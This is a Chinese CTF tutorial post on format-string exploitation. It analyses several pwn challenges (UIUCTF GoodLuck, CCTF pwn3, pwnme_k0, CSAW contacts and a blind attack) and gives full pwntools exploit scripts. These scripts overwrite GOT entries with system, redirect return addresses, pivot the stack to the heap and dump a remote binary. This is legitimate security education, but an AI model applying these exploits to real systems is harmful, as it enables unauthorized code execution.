PWN入门之格式化字符串题目

作者: chen1sheng  更新时间:2020-03-07 00:00:00  原文链接


看保护

还是先用 checksec 查看当前题目详情:

可以看到这里是 64bit 文件,开启了 NX 和部分 RELRO

看逻辑

使用 ida 64 位打开这个文件,看到 main 函数中的伪代码,主要部分如下:

v12 = *MK_FP(__FS__, 40LL);
fp = fopen("flag.txt", "r");
for ( i = 0; i <= 21; ++i )
  v11[i] = _IO_getc(fp);
fclose(fp);
v10 = v11;
puts("what's the flag");
fflush(_bss_start);
format = 0LL;
__isoc99_scanf("%ms", &format);
for ( j = 0; j <= 21; ++j )
{
  v5 = format[j];
  if ( !v5 || v11[j] != v5 )
  {
    puts("You answered:");
    printf(format);
    puts("\nBut that was totally wrong lol get rekt");
    fflush(_bss_start);
    result = 0;
    goto LABEL_11;
  }
}

程序会读取 flag.txt 到变量 v11 再赋值给 v10 ,然后接受输入到 format ,进到 for 循环打印出来,然后程序就结束了,按照正常逻辑是不能打印出 flag 中的内容,所以就需要使用到格式化字符串的任意读技巧。

算偏移

按照之前的逻辑,还是先确定 flag 所在的参数位置偏移,这里是 64bit 程序,我们之前学习的都是 32bit 程序的情况,这里可以使用 gdb 来看看区别,所以直接输入多个 %p 来确定:

───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x0               
$rcx   : 0x00007ffff7ed7904  →  0x5477fffff0003d48 ("H="?)
$rdx   : 0x00007ffff7fa8580  →  0x0000000000000000
$rsp   : 0x00007fffffffdf68  →  0x0000000000400890  →  <main+234> mov edi, 0x4009b8
$rbp   : 0x00007fffffffdfb0  →  0x0000000000400900  →  <__libc_csu_init+0> push r15
$rsi   : 0x0000000000602490  →  "You answered:\ng\n111111}"
$rdi   : 0x0000000000602cb0  →  "%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p"
$rip   : 0x00007ffff7e40b40  →  <printf+0> sub rsp, 0xd8
$r8    : 0xe               
$r9    : 0x0000000000602cf0  →  0x0000000000000000
$r10   : 0x000000000040041d  →  0x730066746e697270 ("printf"?)
$r11   : 0x00007ffff7e40b40  →  <printf+0> sub rsp, 0xd8
$r12   : 0x00000000004006b0  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffffffe090  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
───────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf68│+0x0000: 0x0000000000400890  →  <main+234> mov edi, 0x4009b8 ← $rsp
0x00007fffffffdf70│+0x0008: 0x0000000025000001
0x00007fffffffdf78│+0x0010: 0x0000000000602cb0  →  "%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p"
0x00007fffffffdf80│+0x0018: 0x0000000000602260  →  0x0000000000000000
0x00007fffffffdf88│+0x0020: 0x00007fffffffdf90  →  "flag{11111111111111111"
0x00007fffffffdf90│+0x0028: "flag{11111111111111111"
0x00007fffffffdf98│+0x0030: "11111111111111"
0x00007fffffffdfa0│+0x0038: 0x0000313131313131 ("111111"?)

gef➤  c
Continuing.
0x602490.0x7ffff7fa8580.0x7ffff7ed7904.0xe.0x602cf0.0x25000001.0x602cb0.0x602260.0x7fffffffdf90.0x3131317b67616c66.0x3131313131313131.0x313131313131.0x768c8205d71b8d00.0x400900.0x7ffff7e12bbb.(nil).0x7fffffffe098
But that was totally wrong lol get rekt
[Inferior 1 (process 36071) exited normally]

可以看到前5个输出参数的值依次是来自寄存器 RSIRDXRCXR8R9 (这里使用的寄存器应该是6个,但是寄存器 RDI 是被用于传递格式字符串了 ),然后再是栈上的参数(栈上第一个是返回地址)。

利用

我们可以数一下,可以算出 flag 所在的参数是第9个,所以在运行时输入 %9$s 即可

gef➤  r
Starting program: /root/ctf/pwn/fmtstr/2017-UIUCTF-pwn200-GoodLuck/goodluck 
what's the flag
%9$s
You answered:
flag{11111111111111111
But that was totally wrong lol get rekt
[Inferior 1 (process 36349) exited normally]

2016-CCTF-pwn3

看保护

先checksec查看当前题目的保护措施:

跟上面一样,还少了canary

看逻辑

放到ida32位看看程序逻辑:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  signed int v3; // eax@2
  int v4; // [sp+14h] [bp-2Ch]@1
  signed int v5; // [sp+3Ch] [bp-4h]@2

  setbuf(stdout, 0);
  ask_username((char *)&v4);
  ask_password((char *)&v4);
  while ( 1 )
  {
    while ( 1 )
    {
      print_prompt();
      v3 = get_command();
      v5 = v3;
      if ( v3 != 2 )
        break;
      put_file();
    }
    if ( v3 == 3 )
    {
      show_dir();
    }
    else
    {
      if ( v3 != 1 )
        exit(1);
      get_file();
    }
  }
}

程序运行会先让输入账号密码,密码正确才会进入到后面的逻辑。 四个主要函数 get_command, put_file, show_dir, get_file, 功能分别为输入指令,选择后面三个函数;保存一个文件,名称与内容为输入内容;输出我们输入的文件名,顺序为先进后出;根据文件名显示文件内容。那么该如何利用呢?

首先我们先找存在的问题,这里因为接受输入时全部采用了 __isoc99_scanf 并限制了长度,所以不存在栈溢出的问题,再找格式化字符串的漏洞,在 get_file 函数中看到了 printf ,这里是在读取开始写入文件的内容:

int get_file()
{
  char dest; // [sp+1Ch] [bp-FCh]@5
  char s1; // [sp+E4h] [bp-34h]@1
  char *i; // [sp+10Ch] [bp-Ch]@3

  printf("enter the file name you want to get:");
  __isoc99_scanf("%40s", &s1);
  if ( !strncmp(&s1, "flag", 4u) )
    puts("too young, too simple");
  for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) )
  {
    if ( !strcmp(i, &s1) )
    {
      strcpy(&dest, i + 0x28);
      return printf(&dest);
    }
  }
  return printf(&dest);
}

那么如果一开始写入的时候就传入特点的占位符就可以在 get_file 函数处触发格式化字符串漏洞,也就可以读取和写入数据了。 那么如何获取 shell 呢?这里就需要对程序的GOT表进行修改,将A函数的位置替换为 system 的地址,那么程序在执行A函数也就变成了执行 system 了,再传入 bin/sh 不就拿到shell了?

道理已经懂了,接下来就是结合实际程序查找适合的函数了。首先 这个函数的参数要可以控制 ,其次我们 可以控制程序在修改完GOT表之后再执行该函数 ,最后这个 函数的改变不会影响整体的运行逻辑 。这个函数就是show_dir中的puts。具体细节再一步步的探索,先从确定偏移开始。

计算密码

用户名在输入的时候会每一位加1,密码校验时会把输入和 sysbdmin 进行比较,相同的才会继续运行,所以需要反向计算输入值应该是多少,脚本如下:

pwd = 'sysbdmin'
new_pwd = ''
for i in pwd:
    new = chr(ord(i)-1)
    new_pwd += new
print new_pwd

最后计算出输入值应该是 rxraclhm 。

算偏移

密码绕过之后我们就需要用到之前的知识来计算偏移量,输入 aaaa.bbbb.cccc.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p ,程序的输出如下:

可以看到此时 0x6161616161 的偏移为7

计算system、puts地址

结合前面讲到 泄露任意地址内存 的知识点,就可以在这里选一个函数来泄露 libc 地址,还是先看看 ELF 里面函数偏移量地址会不会出现之前问题

可以看到这里除了 setbuf 和之前的例子一样有0c会导致输出错乱,我们在这里直接选 puts(0x0804a028) 这里为了确保可用,我重新把 puts 的偏移放到之前的程序进行测试发现确实可以正确回显出来,接下来就是利用 pwntools 来泄露 puts 的地址, 通过它来计算出system地址

puts变system

接下来就是要用格式化字符串的任意写把 0x0804a028 (puts的GOT函数地址) 的内容改成 system 的地址。有了system之外我们还得传 /bin/sh 参数给假puts(因为这个时候的puts其实已经被写成了system的地址了),在dir函数中假puts的参数是文件名,这里输入2个实例来看看文件名输出的样子:

可以看到文件名的输出有一种“栈”的效果,所以 /bin/sh 应该被依次拆分传入: /sh、/bin ,最后的exp如下:

from pwn import *
import sys
context.log_level = 'debug'

def put_file(name,text):
    #sh.recvuntil('>')
    sh.sendline('put')
    sh.recvuntil('please enter the name of the file you want to upload:')
    sh.sendline(name)
    sh.recvuntil('then, enter the content:')
    sh.sendline(text)

def get_file(name):
    #sh.recvuntil('>')
    sh.sendline('get')
    sh.recvuntil('enter the file name you want to get:')
    sh.sendline(name)

sh = process('./pwn3')
elf = ELF('./pwn3')
libc = elf.libc
libc_puts= elf.got['puts']
payload = p32(libc_puts) + '%7$s'

# compute new password
pwd = 'sysbdmin'
new_pwd = ''
for i in pwd:
    new = chr(ord(i)-1)
    new_pwd += new
print new_pwd
sh.sendline(new_pwd)

filename1 = '/sh'
filename2 = '/bin'
put_file(filename1,payload)
get_file(filename1)
recv = sh.recv()
puts_address = u32(recv[4:8])

libc.address = puts_address - libc.symbols['puts']
system_addr = libc.symbols['system']

payload = fmtstr_payload(7, {libc_puts: system_addr})
put_file(filename2,payload)
get_file(filename2)

sh.sendline('dir')
sh.interactive()

三个白帽-pwnme_k0

看保护

首先还是checksec查看一下文件位数和保护信息

可以看到开着NX和FULL RELRO,FULL RELRO也就意味着不能像上面一样再去改变GOT表的地址了。

看逻辑

把程序放到gdb跑了一下,发现有一个类似于注册的功能,可以设置用户名、密码,可以展示和修改。再用ida 64bit查看一下伪代码看看有什么漏洞。这里的代码命名有点混淆的感觉,最后在这里发现了一个格式化字符串漏洞:

int __usercall sub_400B07@<eax>(char format@<dil>, char formata, __int64 a3, char a4)
{
  write(0, "Welc0me to sangebaimao!\n", 0x1AuLL);
  printf(&formata, "Welc0me to sangebaimao!\n");
  return printf(&a4 + 4);
}

找到漏洞的话该怎么利用呢?我们可以在程序中找到函数 system和字符串 /bin/sh ,并且进一步查找可以找到有一个直接call system,还带上了参数。

因此这里也就不需要我们再写入了,我们要做的就是让程序逻辑跳转到call system ,怎么做呢? 改返回地址。

算偏移

要想改返回地址就得先看看我们的偏移参数的位置,在printf下断点,username为123,password为456:

────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────
 RAX  0x0
 RBX  0x0
 RCX  0x7ffff7ed7904 (write+20) ◂— cmp    rax, -0x1000 /* 'H=' */
 RDX  0x1a
 RDI  0x7fffffffdee0 ◂— 0xa333231 /* '123\n' */
 RSI  0x4010c3 ◂— push   rdi /* 'Welc0me to sangebaimao!\n' */
 R8   0x1999999999999999
 R9   0x0
 R10  0x7ffff7f59ac0 (_nl_C_LC_CTYPE_toupper+512) ◂— 0x100000000
 R11  0x246
 R12  0x4007b0 ◂— xor    ebp, ebp
 R13  0x7fffffffe0a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffded0 —▸ 0x7fffffffdf10 —▸ 0x7fffffffdfc0 —▸ 0x400eb0 ◂— push   r15
 RSP  0x7fffffffdec8 —▸ 0x400b2d ◂— lea    rax, [rbp + 0x24]
 RIP  0x7ffff7e40b40 (printf) ◂— sub    rsp, 0xd8
──────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffdec8 —▸ 0x400b2d ◂— lea    rax, [rbp + 0x24]
01:0008│ rbp  0x7fffffffded0 —▸ 0x7fffffffdf10 —▸ 0x7fffffffdfc0 —▸ 0x400eb0 ◂— push   r15
02:0010│      0x7fffffffded8 —▸ 0x400d74 ◂— add    rsp, 0x30
03:0018│ rdi  0x7fffffffdee0 ◂— 0xa333231 /* '123\n' */
04:0020│      0x7fffffffdee8 ◂— 0x0
05:0028│      0x7fffffffdef0 ◂— 0xa36353400000000
06:0030│      0x7fffffffdef8 ◂— 0x0

这里以第一次断点输出username为例分析,123 在栈上的偏移是3,加上5个寄存器的数量,偏移就是8。

利用思路

我们前面已经分析到需要修改返回地址到 call system 。我们改哪个返回地址呢?继续看上面堆栈的结构,第1个偏移是rbp寄存器的值,按照堆栈增长的方向来看,这个rbp是前一个主调函数的rbp,第2个偏移 0x7fffffffded8 就应该是返回地址 0x400d74 (先保存主调函数的状态再进入调用函数)。因为程序运行时栈位置是会变化的,但是其相对于rbp的偏移是固定的,所以我们需要利用rbp来动态获取返回地址。先算出偏移量: 0x7fffffffdf10-0x7fffffffded8=0x38 然后脚本中读取rbp的位置再减去0x38即为返回地址,最后我们再把 call system 的地址 0x4008A6 写到返回地址即可。最后再分析整个返回函数的地址发现基本都是0x400xxx,跟0x4008A6 只是最后3位不同,因此可以利用 $hn 只对后三位修改即可,0x8A6对应的10进制数字即为2214,exp如下:

from pwn import *
context.log_level = 'debug'
sh = process('./pwnme_k0')
gdb.attach(sh)
sh.recvuntil('Input your username(max lenth:20):')
sh.sendline('%6$p')
sh.recvuntil('Input your password(max lenth:20):')
sh.sendline('2\n')

sh.recvuntil('>')
sh.sendline('1')
ret_addr  = int(sh.recvline().strip(),16) - 0x38

sh.recvuntil('>')
sh.sendline('2')
sh.recvuntil('please input new username(max lenth:20):')
sh.sendline(p64(ret_addr))
sh.recvuntil('please input new password(max lenth:20):')
sh.sendline("%2214d%8$hn")

sh.recvuntil('>')
sh.sendline('1')
sh.recv()
sh.interactive()

这里我们后面修改 ret_addr 时是利用了 usernamepassword ,两次分开传入所以不需要考虑地址占传入位数的关系,直接覆盖写入原来的 0x8A6 即可。

2015-CSAW-contacts

看保护

用checksec可以看到当前程序开启的保护有NX和Canary,RELRO开启了部分,修改GOT表的可能会是一个思路:

看逻辑

还是先用gdb跑了一下程序,发现是一个类似于通讯录的程序,可以新增、删除、修改、展示通讯录内容,具体的程序细节还是用ida进行分析,在ida下查看发现PrintInfo函数存在格式化字符串漏洞:

最后一个printf会打印出Description的内容,并且我们往回看发现存放Description的区域是用过malloc进行声明的,那也就是说存放的位置是在堆上那么我们可以怎么做呢?我们可以利用leave和ret把栈迁移到堆上去。

先回顾一下leave和ret指令的细节:

leave 指令会执行2个操作:
mov esp,ebp
pop ebp     // 出栈
//执行完leave的pop之后,esp的值也就按排序加了一个位置,这里是32bit程序也就是4位。而根据函数调用约定,调用函数时其ebp上面存放的是函数的返回地址,因此pop操作之后,esp指向了存放函数返回地址的位置
ret 指令对应1个操作:
pop eip
//从栈顶取出指令给eip进行执行

这里我们通过 leave 指令来进行栈迁移,所以在迁移之前我们需要修改程序保存 ebp 的值为我们想要的值。 只有这样在执行 leave 指令的时候, esp 才会成为我们想要的值。同时,因为我们是使用格式化字符串来进行修改,所以我们得知道 ebp 的地址为多少,而这时 PrintInfo 函数中存储 ebp 的地址每次都在变化,而我们也无法通过其他方法得知。但是, 函数调用时入栈中的 ebp 值其实保存的是上一个函数(caller)的 ebp 值的地址 ,所以我们可以修改PrintInfo 上层的 PrintContact 保存的ebp,而这个ebp其实是 PrintContact 上层 main 的ebp。修改了main的ebp之后,只需要在选择时输入5即可触发跳转。

梳理思路

因此整个思路如下:

  • 首先获取 system 函数的地址
    • 通过泄露某个 libc 函数的地址根据 libc database 确定。
  • 构造基本联系人描述为 system_addr + ‘bbbb’ + binsh_addr
  • 修改上层函数保存的 ebp(即上上层函数的 ebp) 为 存储 system_addr 的地址 -4
  • 当主程序返回时,会有如下操作
    • mov esp,ebp,将 esp 指向 system_addr 的地址 - 4
    • pop ebp, 将 esp 指向 system_addr
    • ret,将 eip 指向 system_addr,从而获取 shell。

泄露地址

把断点下在有漏洞的printf处,运行到此处时查看此时栈的状态:

可以看到偏移为 6 处为ebp的位置,偏移为 11 处为我们输入的 Description ,偏移 31 处为 libc_start_main_ret 的地址。我们这里泄露版本首先就需要偏移 31 处的信息。具体用法跟前面的例子一样,唯一不同的就是这里我们还得从 libc 里面获取 /bin/sh 的信息,这就需要用到 libc.search('/bin/sh\x00') 进行查找。

往堆上写地址

经过上面的地址计算已经获取到了 system/bin/sh 的地址了,接下来就需要把地址写到堆上, payload 的形式是: "%11$p " + p32(system_addr) + "AAAA" + p32(binsh_addr) 注意这里我在第一个位置多了一个空格,是为了后面分割收到的字符串更方便而加的,因此地址前面的多余位数的 len("%11$p ")=6 ,发送之后就可以回显出堆的内存地址并且向堆上写入该 payload 。接下来就是将 esp 的位置改到堆上,实现堆上运行。

栈到堆

在前面看栈的结构内容就可以发现第6位为 esp ,我们需要利用格式化字符串的写功能来讲 esp 的内容改为上面回显的堆地址, payload%(heap_addr - 4 + 6)d$n 为什么要减4加6呢?我们这里把 esp 转移到栈上的目的是通过 leaveret 进行,而 leaveret 所包含的指令在前面梳理思路有讲解,回看。加6是因为我们前面打印堆地址和空格放在了 system 函数地址的前面,而堆的增长方向是由低到高,所以地址直接加6就是 system 的地址了。最后再发送一个5,让程序结束运行,这个时候因为esp被修改程序的逻辑也就被控制了,具体exp如下:

from pwn import *
#context.log_level = 'debug'
sh = process('./contacts')
elf = ELF('./contacts')
libc = elf.libc

def createcontact(name, phone, descrip_len, description):
    sh.sendline('1')
    sh.recvuntil('Contact info: \n')
    sh.recvuntil('Name: ')
    sh.sendline(name)
    sh.recvuntil('You have 10 numbers\n')
    sh.sendline(phone)
    sh.recvuntil('Length of description: ')
    sh.sendline(descrip_len)
    sh.recvuntil('description:\n\t\t')
    sh.sendline(description)

def printcontact():
    sh.recvuntil('>>> ')
    sh.sendline('4')

# leak libc version
payload = "%31$p"
createcontact('1','1',"20",payload)
printcontact()
ret_msg = sh.recv().split('\n')[4]
libc_main_ret = int(ret_msg.split(' ')[1],16)
# define the address of libc by a known function
libc.address = libc_main_ret -241 - libc.symbols['__libc_start_main']
# symbols to leak function address
system_addr = libc.symbols['system']
# search to leak string address
binsh_addr = next(libc.search('/bin/sh\x00'))

# write system and bin/sh to heap
# to split the string, I use a space in input,so befor the system the length is 6
payload = "%11$p " + p32(system_addr) + "AAAA" + p32(binsh_addr)
createcontact('2','2',"100",payload)
printcontact()
ret_addr = sh.recv().split('\n')[8]
heap_addr = int(ret_addr.split(' ')[1],16)+6 # plus the length befor system

# modify esp,to return to heap
payload = '%'+str(heap_addr -4 ) + "x%6$n"
createcontact('3','3',"1000",payload)
printcontact()

sh.sendline('5')
sh.interactive()

这里因为是直接写入一个很大的数字到 esp ,运行时可能会出现崩溃的情况,但是在成功运行的情况下都是可以成功的。

后记

这里在网上还看到大佬用的重写 GOTmemset 地址的方法进行 getshell ,放个链接有时间在研究吧: http://barrebas.github.io/blog/2015/09/22/csaw-2015-pwn250/

格式化字符串盲打

所谓格式化字符串盲打指的是只给出可交互的 ip 地址与端口,不给出对应的 binary 文件来让我们进行 pwn ,其实这个和 BROP 差不多,不过 BROP 利用的是栈溢出,而这里我们利用的是格式化字符串漏洞。一般来说,我们按照如下步骤进行

  • 确定偏移
  • 利用(得根据具体情况去分析了)

这里因为没有远程环境,所以直接用现成的程序,但是不用 checksecida 这些工具进行辅助分析。

栈信息泄露

直接运行该程序:

我们的输入会直接显示出来,并且会有一个提示说 flag 是在栈上,试试输入%p

从输出的栈地址位数来看,这个程序是 64bit 的,接下来可以一个个的去遍历,依次查看寄存器或者堆栈上存储的信息是否有我们想要的内容。这里还有个点就是我们从堆栈上读取的内容全部都是 16 进制的内容,即使有字符串直接看也是看不出究竟的,所以还需要使用 p64 将回显的 16 进制转换为字符串(寄存器的存储是小端字节序的,自己写转换函数可能会出现字符串反转的情况)

exp如下:

from pwn import *
import time
context.log_level = 'error'

def leak(payload):
    sh = process('./blind')
    sh.sendline(payload)
    data = sh.recvuntil('\n', drop=True)
    if data.startswith('0x'):
        print 'data: ',data,' ; ',p64(int(data, 16))
    sh.close()

i = 1
while 1:
    payload = '%{}$p'.format(i)
    time.sleep(1)
    print i
    leak(payload)
    i += 1

最后可以看到在 i 等于70的时候依次输出flag的值。

盲打劫持GOT

还是一样,无法借助额外的工具对程序进行分析,并且回显无任何提示,这里就需要泄露一波源程序 。

确定偏移

还是运行程序跑一下,输入 aaaa.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p ,从回显结构可以看出程序是 64bit ,所以需要在前面再加4个a:

可以看到我们字符串的偏移量是6

泄露程序

上面我们已经得到了偏移量和程序位数,由于程序是64bit,那么我们泄露的起始地址就该是0x400000。泄露源程序的exp如下:

##coding=utf8
from pwn import *

##context.log_level = 'debug'
ip = "127.0.0.1"
port = 9999


def leak(addr):
    # leak addr for three times
    num = 0
    while num < 3:
        try:
            print 'leak addr: ' + hex(addr)
            sh = remote(ip, port)
            payload = '%00008$s' + 'STARTEND' + p64(addr)
            # 说明有\n,出现新的一行
            if '\x0a' in payload:
                return None
            sh.sendline(payload)
            data = sh.recvuntil('STARTEND', drop=True)
            sh.close()
            return data
        except Exception:
            num += 1
            continue
    return None

def getbinary():
    addr = 0x400000
    f = open('binary', 'w')
    while addr < 0x401000:
        data = leak(addr)
        if data is None:
            f.write('\xff')
            addr += 1
        elif len(data) == 0:
            f.write('\x00')
            addr += 1
        else:
            f.write(data)
            addr += len(data)
    f.close()
getbinary()